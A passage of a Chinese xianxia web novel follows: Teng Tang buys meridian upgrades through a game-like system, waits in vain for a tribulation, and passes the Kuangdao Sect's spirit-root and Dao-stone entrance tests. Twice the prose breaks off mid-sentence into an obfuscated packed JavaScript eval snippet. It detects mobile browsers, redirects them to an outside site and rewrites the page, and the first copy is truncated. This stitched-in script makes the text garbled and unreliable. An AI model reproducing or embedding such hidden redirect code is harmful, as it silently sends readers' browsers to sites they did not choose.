天脉石99上品灵石一颗,和滕棠玩游戏时一样,商城不限购,只要有钱,玩家可以将开放的经脉打通,从而实力暴涨,在对战中一刀砍死一群人。 但上辈子价格单位是人民币,换算下来,九十九元一颗,土豪氪金十四万多,等系统开放所有经脉,便能将[经脉]的战力拉满。 而她现在要消耗的是上品灵石,一颗上品灵石,等于一千中品灵石,等于一百万下品灵石,可以让小门派雇佣八十个杂役一百年,其价值与人民币完全不对等。 如此说来,滕棠还要感谢天道,若没有它的天雷,她不可能这么快赚到这么多钱,开始自己的天资提升计划。 滕棠的注意力集中在购买加号上,看着左边天脉石数量攀升,以及右方财富预计剩余减少,她第一次体会到花钱如流水的感觉。 天道劈了她三天三夜,买完[寒霜雪]装备后,剩余的这一大笔财富,仅让她买到三千六百多块天脉石。 而系统如今开放了两脉四经,为别为任脉、督脉、足少阳胆经、足阙阴肝经、手太阴肺经和手阳明大肠经,一共二百二十五个穴位,粗略估计,需要六万块天脉石! 她买的这三千多块天脉石,至多打通任脉,且是在任脉已有七个穴位突破的前提下。 滕棠感到很无奈,为了提高肉身资质,再多钱也得花! 天道自上次之后,这十年里都没劈过她,她不能指望对方忽然插手人间,不停给她送钱。 滕棠把天脉石的数量拉到上限,望着自己的黑色人形轮廓,静静等待天脉石改善她的肉身。 天脉石一块块飞进堵塞的穴位,星芒点点,最中间的任脉接连冲破。伴随轻扬的特效音,好似耳边刮响风铃。 二十四个穴位在她的狂掷豪氪下,终于全部打通,变成了金光灿灿的星珠。 霎时,滕棠整个人为之一轻,飘然若仙,身体轻盈得好似要从热气球中飞出去。 她明显感觉到,自己有了一分仙人之态,形体与气质有很大的改善,不再纤瘦得仿佛风吹就倒,娇弱到谁都可以欺负。 悍然不动地盘坐在篮子中间,身旁白云飘过,滕棠一直保持着一个姿势,没有变过,先前看起来普普通通,此时颇有仙风道骨的韵味。 她深呼吸一口气,体内灵力瞬间暴涨,附近空气中的灵力疯狂向她涌来,在她周围形成几个小小的灵力旋涡。 然而这些灵力还是不够,她的任脉宽广无比,吞钱如无底洞,吞起灵力来,也似无底洞,看不到尽头。 滕棠微微皱眉,感觉到后劲不足,不得不把系统灵力条抽空,让无属性灵力变为五色灵力,顺着丹田进入自己的任脉之中,填满各个穴位。 她的实力开始猛涨,筑基五层、筑基六层……一直涨到金丹三层巅峰才停下。此时的她,距离金丹四层只有薄薄的一层屏障,似乎一戳就破。 “呼,好舒服……”滕棠睁开双目,直叹:“打通一条经脉的感觉,和突破穴位的感觉相比,好不一样。” 后者让她轻快一瞬,前者让她信心倍增。滕棠有些上瘾,甚至想对着天空大放厥词,挑衅天道,看对方有没有在关注她,给她再送来一阵红包雨,好把剩余开放的经脉打通。 想的时候,肢体已经率先做出行动,滕棠取出五米长的大刀,在热气球里挥舞,对着天空大喊:“天道,来劈我呀!你上次的雷龙很不给力,十年后,不知新一批雷龙准备好没?” [寒霜雪]的主武器很沉,滕棠没打通任脉时,拿着并不能自由挥动。此时她舞起刀来,手臂有力,脚步稳重,动作流畅不带滞涩,一套招式下来,速度竟比以前还快。 明亮的天空上,金乌高挂,散发着初夏的炎气。白云漂浮,不见一丝乌灰之色。 滕棠挑衅了好一会儿,都未等到天象变化。 难道天道知晓劈不死她,便开始无视她的挑衅?她心里倍感遗憾地想道。 没有红包雨,她要做什么才能赚到那么多钱? 殊不知,此时的天道,正被热血岁月禁着号,发现不仅不能插手人间,还看不到此世界发生了什么事,终日心如火焚。 他无法干预所有人的命运,便意味着所有人的命数大乱,龙傲天会有极大的危险。 天道在此界上方又急又怒,焦灼地四处奔走,试图寻找解决办法,未想到,竟十年无果。 滕棠轻挥长刀,欣喜于自己突破了筑基期,有了金丹期的实力,面上的笑容抑制不住。 任脉打通后,她从系统那儿调取的灵力量,使用起来终于能和实力匹配,不再是涓涓细流,而是一股又一股,不再苦恼于有灵力却无法快速用出去的问题。 收起五米大刀,识海里的游戏界面还停留在[经脉]玩法上,滕棠看了一眼剩余的督脉和四经,不免望洋兴叹。 想要打通目前开放的所有经脉,恐怕要一千九百以上的灵髓,这笔天文数字,到底该怎么赚啊,成仙真难…… [经脉]还只是她氪金中的一项,其余需要大氪重氪的项目也不少,比如另一个无底洞——装备。 氪现在这身[寒霜雪],凭借的是天道红包雨,氪下一套及以后的神装,该如何是好? 滕棠暗自叹气,实力增长的感觉是很好,但相应的代价让她心生无力。 原本富足的财富栏,此时穷得连回血丹都买不起! 眼见天道对她的挑衅无动于衷,滕棠放弃了自己跳大神般的行为,冷静下来,站在热气球内,等待自己的金丹雷劫。 既然天道不愿现身,给她下一场红包雨,那来几道紫色雷劫也是好的,筑基雷劫都那么厉害,她的金丹雷劫只会更强吧? 等系统吃下后,说不定会返她一笔好几千的上品灵石,那样一来,近些时日的消耗品,比如丹药、限制类商品、月卡、运营灵石等,就有着落了。 滕棠心怀期待地仰望天空,看白云轻柔游过,金乌久久不躲,蓝天始终明媚,她的心一点一点变得着急。 雷劫之兆,为何一直未现? 修者刚突破境界不久,就会遭遇雷劫,她现在等了至少一个时辰,怎么雷劫还不出来? 为了让天雷定位到她,滕棠还贴心地放慢了热气球的速度,外泄自身的金丹气息。 她在心中祈祷,但愿不是热气球的原因。如果因为热气球飞得太快,以至于错过雷劫,她可以飞回去渡劫。 滕棠望着金乌,等啊等,瞪得眼珠子发干。两个时辰过去,她心里生出不好的预感。 十年前,天道劈了成千上万道紫雷,三天三夜都没把自己劈死,几乎全被系统吸收去。天道不会是破防了吧?然后开始摆烂,一条雷龙都不愿意送给她。 事实和她想的有出入,此世界的神官,亦称天道,并非不想降雷,而是不能。 十年来,不止滕棠突破境界,没有雷劫,是所有修者都没有雷劫。 修真界的死亡率直线下降,大家开始铆足劲地修行,生怕天道反悔,现在一个比一个卷,争取在雷劫重出江湖前,突破自身的境界。 热气球在空中飞行三日,滕棠一直没等到自己的金丹雷劫,望着自己空空如也的财富栏,失望透顶。 看来天道是真的变吝啬了,竟连金丹雷劫都不送一道。 次日辰时,主线任务不剩几个时辰的时候,滕棠抵达了狂刀门。 初夏六月,天央大陆以西的地带,气候有些炎热。太阳火辣辣地晒着六座连着的山,烤得山下的圆石场烫脚,泼点水下去,还能生烟,须臾就会干涸。 狂刀门山下有个九尺高的玉石牌坊,三间四柱,样式简单。上方除了“狂刀门”三个大字,没有任何花板,平平整整。 四根巨大的圆柱子,光滑洁净,亦没有任何雕花,仅柱脚的方石须弥座上有点纹路。但凑近看,那是四把不同形状的刀,普普通通的,看着也没什么奇特之处。 滕棠对狂刀门的第一印象是——低调、简约、普通,很符合她的期望和现在的实力。 太高调的大门派易惹是非,大家都很强,自己带着一身拉风的装备,总有万不得已亮出来的时候。她没有很强的实力,摆不平是非,精力都被争斗耗去,哪有时间潜心修炼? 太弱小的门派待着又没什么意思,金丹五灵根的实力,一进去,很容易被奉为贵宾。到时候她成了个长老,需教弟子修行、管理门派事务,同样会缺乏时间修行,精力大多耗在社交上。 只有狂刀门这样不上不下的中型门派,是最适合的。比她更强之人,大概率是长老、掌门,即使见了她一身不俗的装备,也没脸起抢夺之心,而比她弱之人,定不敢招惹她。且狂刀门以刀法闻名,她的主武器恰好是大刀。 狂刀门山脚的圆石场上,聚满了年轻的散修,基本上是三灵根,其次是四灵根和双灵根。 今日狂刀门开山收徒,天央大陆以西的散修,年龄未满三十、天赋一般之人,几乎都来到此处,想碰碰运气。 双灵根修者,想拜司徒福禄为师;三灵根修者想在这儿争上游,获取更多资源;而四灵根修者则看看有无机会成为弟子,他们不想去大门派做杂役。 滕棠在人群中找到队伍的尾巴,刚站过去,忽然听到“李偲缨”三个字。 她猛地转头,原来是旁边队伍里的人在聊天,其中一位用崇拜的眼神说,李偲缨现在如何如何厉害。 短短十年,金丹期突破到元婴期仅用了一个月,元婴期突破到出窍期仅用了一年,出窍期突破到分神期,九年不到……这种修炼速度,令人叹为观止。 滕棠听了半晌,回想起之前李偲缨对她说的话:“我境界天赋在,不出一年,可结元婴,两年……再给我几年时间,一定能惊艳你!” 人家的十年,连破三个大境界,她的十年,在海里睡觉,实力还是靠氪金氪出来的。废柴真不适合与他人比较,徒添心伤罢了…… 滕棠暗自摇头,为弥补心里的伤害,忙挨个点击菜单-个人信息-师徒-李偲缨,在偏僻的地方找到自己未领取的奖励。 不听他们夸李偲缨,她都忘了师徒这一玩法,忘了自己还有奖励可以领。 如今看,自己收李偲缨为徒,不和对方当姐妹,是对的。十年过去,对方给她带来了一堆灵石丹药、好几张基础数值翻倍卡,短暂地解决了她最近资金紧张的问题。 “狂刀门来人了。” 在滕棠使用基础数值卡,翻倍[生命]的时候,有人在队伍里高声道。 狂刀门山上,一位华发老者御剑飞来。 滕棠退出游戏界面,顺着众人的视线,往牌坊那里瞧去。 老者站在雀替上,自称是狂刀门的九长老,负责第一关的考核。他毫不内敛自身的实力,浑身灵光乍现,散发着出窍六层的气息。 九长老仰头,望一眼金乌的位置,见时候差不多了,摸着胡子,对众人说起狂刀门招收的要求。 他说了许久都不结束,让滕棠有些着急。 这还没开始,就耽搁这么多时间,待会儿还要排队报名,进行第一关考核、第二关考核……不知道要花去多少时间。 她的剧情任务所剩时间并不多,万一没完成,那些奖励灰掉不能领取,多可惜啊,这可是免费薅游戏羊毛的机会。 等九长老下来后,滕棠想直接去找他,同他说自己早已加入狂刀门,无需考核。 然而她刚走几步,就被一名弟子拦下:“姑娘,请到后方排队。” “这位……”对方看着跟自己差不多大。 滕棠不知该喊他师兄还是师弟,想了想,直接问:“我说我是这个门派的弟子,但没有门派令牌,只有祁长老送的储物袋,你信么?” 见对方挥手要赶她走,她忙道:“要是不信,可以帮我喊李偲缨出来佐证,或者刘仁刘慈两兄妹,再不济二长老也行,希望祁长老还记得我。” 任务时间还剩六个时辰,12个小时,有些不够用,她想直接走后门。 但后门哪有那么好走,这名负责秩序的弟子见她穿得如此朴素,领口没有任何家族标志,以为是大师姐的狂热者,想以稀烂的借口进入门派,一睹大师姐的风光与美貌。 可这人也太没礼仪教养了,刘师兄、刘师姐还好,李-大师姐的尊名,她配直接叫出来么! 或许是因为滕棠的实力比较强,金丹三层,在狂刀门里属于上游,他心里虽不欢喜,面上还算客气,回话道: “大师姐去见她师父了,此时不在门派,你若不是诚心拜入狂刀门,想与她交好,就此打道回府吧。” 滕棠一愣,小声问:“她师父是谁?” 那弟子摇摇头,仔细想,大师姐虽经常念及师父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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九长老面前有一个透明的水晶球,想进入狂刀门修行的人,只需把手放上去,等待球体表面显示灵根数和实力。一旦结果符合入门要求,便等于半只脚踏入了狂刀门的门槛。 滕棠将手置于球体上,低头看着晶石中的灵力线上涨,一直涨到金丹三层巅峰的线才停下,暗赞,这水晶球测得真准。 九长老误以为自己眼花了,不停揉眼睛,努力吊起耷拉的眼皮,自言自语:“莫不是坏了。” 他以为自己产生错觉的原因,并不是滕棠测出了金丹三层巅峰的实力,而是因为水晶球中有五种颜色。且这五种灵力均衡无比,没有主次之分,实乃天下第一废柴之资。 一般灵根多者,比如三灵根、四灵根修者,皆有主灵根、次灵根之分。同样数量的灵根之下,还要细分为上中下三等。 比如一位主灵根为火灵根的人,他的水灵根与木灵根非常细弱,对修行影响不大,那他的天赋,绝对比三灵根粗度差不多的人好。有些三灵根修行起来,突破境界的速度极快,甚至能赶上部分双灵根。 九长老显然不信滕棠的测试结果,他又从储物戒里,拿出备用的检测球,让滕棠把手放上去。 然而,第二次的检测结果和刚才一致,五种颜色的灵力充盈水晶球,没有强弱之分,十分均衡,一直涨到金丹四层那根线下方才停止…… 附近有很多围观者,皆是前面检测过,留下来的,正在此歇息,等待第二关。 他们也不敢相信自己的眼睛,瞬间把滕棠和九长老围得水泄不通。 “五灵根?金丹三层?” “前面的人没看错吧?你们会不会热出幻觉了?” …… 在大家的沸腾声中,九长老皱眉,不信邪地从储物袋里拿出第三个水晶球,再次让滕棠把手放上去。 不可能,此事万不可能…… 可下一秒,测出的来的结果仍是一样。 他睁目和滕棠对视,结结巴巴问:“你作弊?你用的何种方法蒙骗我,蒙幻测天石?” 滕棠愣住,随即大叫冤枉:“九长老,我怎可能蒙骗你?” 她张开双手,五色灵力从丹田涌出,灵根不假,实力也不假。 为了证明自己的清白,她甚至冒着风险,请九长老和周围的人内探她的丹田。这下假不了了吧? 九长老瞪圆了眼皮下垂的眼睛,表情仍不可置信:“你当真是五灵根?” 被一群人围观、议论,滕棠总觉得自己变成了猴子,颇有些不习惯。她对九长老点点头,老实回答:“当真是!九长老若是不信,可让其余长老或者掌门来探我丹田。” 最好是把祁长兰叫出来,她在心中想道,希望祁长兰还记得她。 九长老已探过她丹田,抛却那条肥嘟嘟的地蛟蛇魂不谈,滕棠确实是五灵根体质,且是天下第一废体,五色灵根粗细一致,赋性相等。 他的声音略略提高,再次惊声问面前的女子:“真的有金丹三层的实力?!” 这难道还有假吗?滕棠愣了须臾,同样点头。 “九长老若不信,我可以在此施展刀法,与贵门派师兄师姐比试。” 现场一片嘶气声,可怕!这是怎么做到的?五灵根的废柴,即使天天吃灵药,拔苗助长,也拔不了这么高的实力啊。 “九长老……”旁边登记的人出声提醒,手中的毛笔都快干了,他犹犹豫豫地问:“收还是不收?” 狂刀门只收三灵根及以上的修者,偶尔会收四灵根的记名弟子,但肯定不会收五灵根的。 五灵根的废柴,各大门派都不会要,收来做杂役都嫌命短,还不如收四灵根的年轻人,筑基之后,可以在门派里继续干,四百多年做出的贡献度,绝对比五灵根废物高。 九长老擦擦汗,着实被滕棠吓到了。无论是史书还是传说,都未记载过五灵根的筑基者,更遑论金丹期的五灵根。 而且,观滕棠的相貌,她的面容很年轻,比天纵奇材的李偲缨还年轻。 九长老与面前的女子相视,露出同样的神色——满脸犹豫。 按照门规,五灵根绝不可以收入门派,但滕棠是金丹三层的五灵根,真要算起来,她的实力堪比金丹九层。 滕棠应该没有骗他吧?九长老抚须。 我修行多年,不可能上当受骗!不管是其他长老,还是掌门前来,探出的结果,肯定与我相同。 九长老思索一番,自信地让身旁的弟子登记滕棠的名字。 他对滕棠道:“我可让你过第一关,但第二关非我考核,你能不能拜进狂刀门,要看其余长老和掌门的意思。” “第二关可以见到掌门?他收徒么?”滕棠惊喜地问。 她的任务是获得狂刀门掌门的认可,成为对方的弟子,如果能见到掌门,那任务就有完成的希望。 九长老笑了一声,摇摇头:“掌门不收徒,你若得他青睐,他可指点你一二。” 78. 第 78 章 六个小时过去,众人才通过第一关。 滕棠领了小木牌,跟九长老道完谢后,和其余人站在一起。 附近的修者因为好奇,总是盯着她瞧,好几个追着她询问,五灵根怎么能筑基?怎么能结丹? 滕棠不喜热闹,敷衍答了几句,就走到偏僻的角落坐下,思考如何在接下来的六个小时内,完成自己的主线任务。 她很想召唤李偲缨,但心有顾虑。她和李偲缨仅相识两三个月,期间大部分时间里,李偲缨都在沉睡,两人其实算不上很熟。 万一李偲缨早已忘记自己,或性格上有变化,将其召唤过来,滕棠担心会闹得很尴尬。对方是狂刀门的大师姐,随口一句,就能取消她的考核资格。 “你这人,我们寻问你修炼方法,又不是抢你宝贝,藏着掖着的,怎如此小家子气。” “就是就是,你生平不结交道友,往后有难处,谁愿意出手帮你?我们都是诚心与你畅谈。” 几个四灵根修者见滕棠始终闭口不言,对众人的热情置之不理,顿时怏怏不悦,开始拐弯抹角说她难以相处,往后修行路上,容易孤立无援。 滕棠苦着一张脸,坐在阶台上,瞥他们一眼,仍旧不理不睬。 如果这些人与她分享独门心法,她当然乐意探讨修行之道,可很明显,这些人只是想揭开她身上的秘密,然后揣测一番,能否夺走。她为何要顺着他们,被他们牵着鼻子走? 几个四灵根修者没探究到滕棠结丹的秘密,一脸不快,站在附近高声议论。 “她以为她谁啊,五灵根结丹了又怎样,日后还不是比不过我们。” 滕棠盯着地面,双目不聚焦,对他们视若无睹。 游戏界面上,一直打开着她的主线剧情任务:[你于黑暗中重生,并发誓,会让所有人记住滕傲天这个名……▽0天5时25分19秒] 末尾的数字不断减少,让她感到忧愁。这么短的时间里,她不仅要拜入狂刀门,用滕傲天这个名字扬名,还要获得司徒福禄的认可,成为对方的徒弟……难度堪比地狱级。 她这副忧愁的样子,落在旁人眼里,被解读出其他意思。 在几个四灵根修者的簇拥下,某个姓胡的公子耸肩道:“你们竟然如此天真,信了她和九长老的鬼话。” “此话何意?”不仅四灵根修者不解,那些三灵根散修也没听懂。 胡坤穿着一身锦衣绣服,戴着各式灵器,在人群中特别扎眼:“你们仔细瞧,她那愁眉不展的样子……” 他摇摇头道:“方才定是用了什么特殊法器,骗了九长老,现在正在愁,进狂刀门后,能不能骗得了狂刀门的掌门。” “可你都瞧得出来,九长老怎么会上当受骗?”一名三灵根修者问。 胡坤高深莫测地笑了一声,抬手用袖子掩住嘴巴,压低声音说:“九长老也在骗她,待会儿上了山,肯定会和其他长老一起查探她的秘密。五灵根筑基,甚至结丹,谁信?匹夫无罪,怀璧其罪。” “原来如此……”周围人议论纷纷,逐渐与滕棠隔开来。 大家看她那忧悒的模样,皆认为她作了弊,此时在想办法亡羊补牢。 对此,滕棠一无所知,九长老亦不知晓。 纯属胡坤想太多,出窍六层的九长老,去探滕棠金丹三层的丹田,两者实力差距过大,很难受到欺骗。除非有渡劫大能出手,在滕棠体内布置了瞒天过海的法术,或者滕棠身怀仙神之物…… 然而,渡劫大能何必费心?屈尊纡贵在金丹女子体内布置个骗人的法术。神仙之物怎能没有痕迹与波动?丹田是修者根本,灵器、仙器、神器皆蕴养此处,滕棠将自己完全剖露,若真有非凡器物,那通天宝光,筑基修者都能探查出来。 九长老整理完籍册,招呼旁边几个白衣弟子做后续之事,自己则踏空而行,很快消失在山顶上。 几个白衣弟子站于山脚处,高声道:“各位,请随我们上山,前往第二关考核点。” 通过第一关的年轻散修们异常兴奋,有些人急匆匆的,欲要拿出灵剑御行,冲到最前头。 他们很快被白衣弟子拦下。为首的白衣弟子一脸严肃,不许大家御剑飞行,厉色道:“违反规定者,当即逐出狂刀门!” “这门派小就算了,规矩还挺多的。”底下的散修嘀嘀咕咕,对狂刀门的做法颇有微词。 许多大门派都没这样的规矩,狂刀门这种不大不小的门派,倒是摆起架子,逞假威风。 滕棠跟着众人爬山,脑子里看着任务倒计时,心里拔凉拔凉的。为什么不可以飞,必须用双脚走啊,我们不是修仙者吗…… 这样上山,她的任务时间又缩短了。 但这是狂刀门的规定,在场敢反驳者甚少,都被驱逐出了狂刀门。剩下的人不敢再乱妄言,皆认真步行,往山上攀爬。 许是行路途中太无聊,滕棠前面的两个修者一直在交谈,说完最近买到的灵器,开始说狂刀门的考核。 “一共有几关,兄台知晓么?” “两关。” “就两关?那不是比其他门派容易?” “不不不,一点都不简单。” 滕棠听到此处,几步上前,仔细聆听他们所言。 “这第二关最难,每年都有八成人失败。能通过道石之人寥寥无几,没有道域天赋的人,狂刀门不收。” “道石长什么样?怎么测道域天赋?这第二关有多难?” “你问再多也没用,到了就知晓了。” 寥寥几句,信息甚少。 滕棠听完,反而心安了一些。她原本以为会有第三关、第四关,没想到只有两关考核,这大大减少了她的预期时间。 如果一切顺利,她说不定能完成主线任务。 查看倒计时,还剩五个小时…… 一路蛇形上了山,又跟着下坡,众人来到狂刀门南面的山谷中,感受到充裕的灵气,浑身一阵舒服。 在门派大阵的运转下,附近几片山的灵气都往狂刀门跑,这里的灵气比散修城、家族府邸浓郁两三倍不止,让众人心生向往,要是在狂刀门修行,他们的实力境界定能快速晋升。 滕棠在山谷中央站着,百无聊赖,算算时间,距离九长老离开已有半个多小时,这位老者怎么还不归来?午时早已过去,第二关到底何时开启? 在她四处张望的时候,天空终于出现了几道鹤骨松姿的身影。 九位长老踏行虚空,依次来到他们上空。 对面山腰上有个巨大的石台,石台上摆着十个古朴的石椅。大长老率先入座,其后是祁长兰和剩余几名长老。他们各自得意的弟子则站立身后,谨听吩咐。 滕棠离他们好几百米远,必须聚灵力于双目,开启灵眼,才能将他们头顶上的信息看清。 二长老祁长兰,十年不见,她的实力竟涨了三层,现在为分神四层。这样的速度一般是单灵根修者才有的,不知道双灵根的她,这些年,遇到了什么机缘。 滕棠在底下朝她挥动手臂,怎奈距离遥远,祁长兰正巧和旁边的大长老聊话,没看到她,即使看到,也不一定想得起她是谁。 “好笑。”有人暗中指着滕棠,偷笑道。 滕棠放下手,发现大家都离自己远远的,估摸是觉得她在谄媚几个长老,行为丢人,不想靠近她。 滕棠暗自叹气,系统给的任务真不好做,想薅个羊毛真难。 狂刀门的掌门一直不来,他们这些等待考核的修者便被晾在这儿。转眼之间,又过去了一个小时。 期间祁长兰不是在跟几个长老说话,便是在喝茶、闭目休息,从未朝他们这边看过来。 在几个长老身后,滕棠没有看到刘仁和刘慈的身影。 她有想过御刀上去,吸引祁长兰的注意,然后说明自己的身份。但她是个谨慎的人,不敢保证祁长兰记得自己。 如果对方认为她满口谎言、乱攀关系,禁止她拜入狂刀门,那就不好了。 因此她挥几次手,发现没作用后,一直老老实实待在人群中,不再做出惹人注目的举动。 任务时间还剩两个小时,说不定能完成?毕竟仅剩这第二关,只要她表现得足够出色,掌门兴许会多看她两眼,收她为徒。 不一会儿,狂刀门的掌门终于来了。 他的长相和滕棠门派信息上的人物一摸一样,身形壮实、鹤发童颜,五官看起来约莫二十来岁,白发、眼神与浑身的气质却很沧桑。 司徒福禄负着双手,踏空来到几个长老身后,于一根高大的柱子上站着,对底下的人起了个手势。 “开始吧。” 他有大乘七层的实力,表情板硬,说话时,声音中气十足。 司徒福禄虽是穿着宽松的长衫,却遮掩不住那一身结实的腱子肉。他的境界气息一出,底下的人立马感受到一阵威压,不敢再肆意谈论,全都变得安安静静。 滕棠记得行路时,前面那两个人的话,说司徒福禄有天下第一刀的名号,崇拜者甚多,却从未收过徒。 她突然很怀疑自己能否完成任务。现实中的司徒福禄,和门派信息上的那个人,有很大的区别。 远处的司徒福禄一板正经,直至现在未露过一丝表情;门派信息上的司徒福禄,亲切和蔼,像在拍宣传海报,俨然一副好掌门的模样。 “咳咳,诸位听好了……”大长老站出来宣读规则。 他的声音很年迈,以特殊的术法,使灵力融入嗓音中,震彻四方,让山谷内的每个人都能听见。 第二关的规则很简单,大长老没说几句便结束了,相对于第一关,少了好几倍的时间。 大长老说完之后,掌门一挥袖,往谷中场地上丢了二十块黑色石头。 最大的有两百米之高,几乎有小山丘那么大。最小的,小如拳头,置于长老们那边的石台下方,被其他石头挡着,大家都看不到。 第二关的要求是,不管修者用什么武器、施展什么法术,只要攻打道石,使其发亮,便算通关,获得成为狂刀门弟子的资格。 为了让大家更清楚规则,石台上,排坐在第八的长老起身,醉醺醺地御空而行,身形不稳地下了石台,来到众人面前。 他年纪不大,腰间挂着个葫芦,脸颊被烈酒烧得发红。 “咕噜……”八长老来到众人面前,做的第一件事,并非展示自身实力,而是抽开葫芦塞子,猛喝了一大口酒。 众人看着他不断滚动的喉咙,闻着浓郁的酒香,顿时觉得口干舌燥,跟着醉了般,头晕目眩起来。 “醒醒,八长老是个酒修,别跟着他喝醉了……把鼻子捂好,不然会影响接下来的考核。” 在众人陶醉于酒香之际,大长老那年迈的声音突然响起,让大家惊醒过来,皆捂住鼻子,不敢再闻那让人上瘾的酒香。 八长老嘿嘿笑了一声,将塞子插回葫芦口,吐字不清地说道:“师父领进门,修行在个人,门派只教你如何修炼,真正变强还得靠自身。想当初,大约一百年前,我进门派测道域,至多能让一块道石亮起。” 他将腰间葫芦抛甩出去,嗙嗙嗙三声,分别砸在最大的三块石头上。 三块道石依次亮起圆形葫芦印,八长老摇摇摆摆地踏上虚空,一边回到山腰石台上,一边背对着众人说: “耽于俗世,不免有诸多烦扰,酒,可以让人忘却烦恼,沉醉逍遥之界……这便是我的道。勤于修行,精于境界,有所顿悟之后,如今再测,道域必然有所提升。” 众人听得群情激昂,一百年就变得这么厉害?成了狂刀门的八长老? “不知我天赋如何……”大家在内心中如此自问道,皆跃跃欲试,想测一下自己的能力,期许自身是那极有天赋之人。 八长老的一番展示,让滕棠微醺了五分钟,比别人眩晕得更久一点。 她只爱喝饮料,不爱喝酒,有些不胜这烈酒之力。 竭力稳住身形,她走向道石的时候,还是不小心,撞到一位年轻散修。 “没长眼睛吗?”这位散修大约二十出头,身形偏壮,被撞歪时,差点摔倒。 他一脸匪夷所思地站稳,听到旁人的笑话,立刻伸手推开滕棠,自我辩解道:“她这样纤瘦之人,怎可能撞倒我?我方才抬脚走路,重心不稳,一时不慎罢了。” 滕棠被他用力推搡,才是重心不稳,一个不慎,晕乎乎地坐到地上。 她刚有酒醒的清爽感,便听见上头人骂她:“有眼如盲。” 滕棠无奈地起身,拍掉身上的泥土,暗忖若是拜入狂刀门,一定要离八长老远一点。 一名十七八岁的年轻男子朝她走来,嗤笑道:“闻个酒味儿就醉了,先前在山下不是挺能的么?我看你这第二关怎么办,骗得了九长老,你能骗得过天道?” 滕棠望着他瞧了会儿,模模糊糊有个印象,好像排队时听人谈论过,这男子姓胡,是哪个家族的长子,在某个散修城小有名气。 自己没招惹他吧?他表情怎么那么讨打呢? “骗人者,人恒骗之。”胡坤指着她道:“咎由自取,等着吧,长老们一定会揭穿你那些骗人的伎俩。这第二关你铁定过不了,天道会让你好看,让你知道,这世上真正有天赋之人,是我这样的,绝不是你这种弄虚作假的小人。” 滕棠面色未变,回话道:“第一,我未行骗。第二,我看不起天道,若你认识他,请替我转告,总有一日,滕傲天会将他踹下神坛。他很生气的话,请多劈几道紫雷下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032737|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我,滕傲天,绝不推拒!” 正好,可以扬一扬滕傲天的名字,顺便挑衅一下天道,如果天道真劈一道紫雷下来,再好不过。 “……” 山谷中安静了两三秒,所有人愣住,而后嘶气,犹如一群惊弓之鸟,全部散开,看滕棠的眼神,如同看一堆即将被烧成灰的柴。 所有人很默契地瞄向天空,心中大骇,这女子从哪儿冒出来的,连天道都敢挑衅,活得不耐烦了? 纵览古今,骂天道之人,谁有好下场? 不仅是他们,连石台上的长老们都悚然望向天空,好一阵之后,才拍拍胸脯,心道还好还好……天道近十年脾气极佳,不仅大赦天下,消除了众人破境的雷劫,还宽宏大量,不计较凡人的挑衅。 “咳,初生牛犊不怕虎,但切记要敬畏上天,勿再胡言乱语……”大长老发话道。 等众人都站在了道石面前,他忽然变得长篇大论起来,前边规则没讲多久,现在说起几个长老的风光伟绩,嘴中赞美之词滔滔不绝,说半天都不结束…… 底下的散修都在认认真真听,除了滕棠。 她将大长老这番话,当作开学第一天校长的演讲,或者上班第一天,领导的欢迎词稿,目的是为了吸引新弟子、树立长老威望罢了。 九个长老的个人信息,她已经通过万物识别功能,粗略地看了一遍。 她还有更重要的事情需要关注,此时分不出心神,去聆听大长老的话。 滕棠表情呆呆的,站在人群中,正查看自己新收到的消息: [叮!第二届‘雄霸天下’开始报名,玩家在活动期间内,累计战胜1名玩家……连胜10场,奖励500块上品灵石;连胜50场,奖励100块天脉石;连胜100场,奖励限定灵宠·九色鹿;连胜1000场,奖励限定载具·直升飞机。▽] 活动怎么来得如此突然?而且是雄霸天下第二届。 滕棠扫了一眼连胜场数和对应的奖励,暗自心伤,这次可能拿不到全部奖励了,最多拿到限定灵宠,给付岚山当新壳子。 天央大陆到处都是强者,随便遇到个人,实力都在筑基期以上,她想连胜100场很容易,找个擂台打几天便可。但1000场连胜?去哪儿找一千名低估她实力的修者? 不管是门派擂台,还是外面的散修擂台,消息都不闭塞。但凡她打几场,就会暴露实力,然后一传十、十传百,前期可能会有筑基期或者金丹期的冤大头找她打,后期谁愿意当冤大头? 除非她自己愿意当冤大头,一掷千金,站在擂台上对众人说:“谁上来跟我打,配合我的招式落下擂台,打输了,这一块上品灵石就是你的。” 那肯定有源源不断的挑战者,希望和她对打。对比游戏活动的奖励,她的投资,远小于可获得的回报。 但问题是……她没钱啊! 滕棠看着那些奖励,异常心动,比如最终大奖——[限定载具·直升飞机]。 它详情页面上显示的速度,是热气球的两倍,要是她有了这个载具,遇到什么事,坐上就跑,大乘期甚至渡劫期的高手,都不一定能追上她。 台上大长老慢腾腾介绍着九位长老,只字未提掌门司徒福禄。现今世人,很少有人不知天下第一刀的大名。前来狂刀门山下,想入门修习之人,九成是因为司徒福禄。 大长老笑眯眯地一一介绍完,抚掌道:“道石,一名试道之石。天赋极佳者,能点亮高级道石,天赋弱者,仅能点亮低级道石,或不能点亮道石。” 他的目光掠过那些黑色石头,继续道:“修者只要点亮了一块道石,不管大小品阶,像八长老那样勤于修炼境界,往后未尝不能有所突破。” 底下有个约莫十五六岁的少年,大胆问他:“道石最高是多少级?若我们不能点亮呢?” “山谷这儿级别最高的道石,是最大的那块,五十级。”大长老满脸和蔼:“大家无需担心,通常是四五灵根者不能点亮道石,三灵根及以上的卓越不凡者,极少出现无道域天赋之人。” 问话那个少年正是四灵根,再次追问:“若不能点亮道石,会怎样?” 大长老面容和蔼,说出的话却很无情:“无法点亮一级道石之人,便是不被天道认可之人,此生终难练出道域,还请离开狂刀门,另寻出路。” 少年听完,握紧双拳,希冀自己有一分道域天赋,这样就能改变命运。 